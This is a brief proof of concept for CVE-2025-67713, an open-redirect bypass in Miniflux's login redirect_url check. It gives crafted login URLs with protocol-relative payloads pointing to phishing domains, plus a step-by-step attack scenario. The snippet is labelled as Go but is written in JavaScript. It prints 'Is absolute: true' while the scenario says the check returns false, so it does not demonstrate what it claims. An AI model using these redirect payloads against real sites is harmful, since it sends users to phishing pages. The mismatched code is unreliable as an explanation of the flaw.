CVE-2025-67713

// PoC for CVE-2025-67713 - Protocol-relative URL bypass // The following URL bypasses IsAbs() check but redirects to attacker domain // Malicious redirect URL: // https://miniflux-instance/login?redirect_url=//ikotaslabs.com/phishing // In Go code, this would be parsed as: const maliciousUrl = '//ikotaslabs.com/phishing'; const url = new URL(maliciousUrl, 'https://miniflux.example.com'); console.log('Parsed URL scheme:', url.protocol); // Output: 'https:' console.log('Is absolute:', url.protocol !== ''); // Output: true // Example attack scenario: // 1. Attacker crafts: https://miniflux.example.com/login?redirect_url=//evil-phishing-site.com // 2. After successful login, Miniflux checks: url.Parse(redirectUrl).IsAbs() // 3. Result: false (scheme is empty in protocol-relative URL) // 4. Miniflux considers URL safe and performs redirect // 5. Browser interprets //evil-phishing-site.com as https://evil-phishing-site.com // 6. User is redirected to attacker's phishing site

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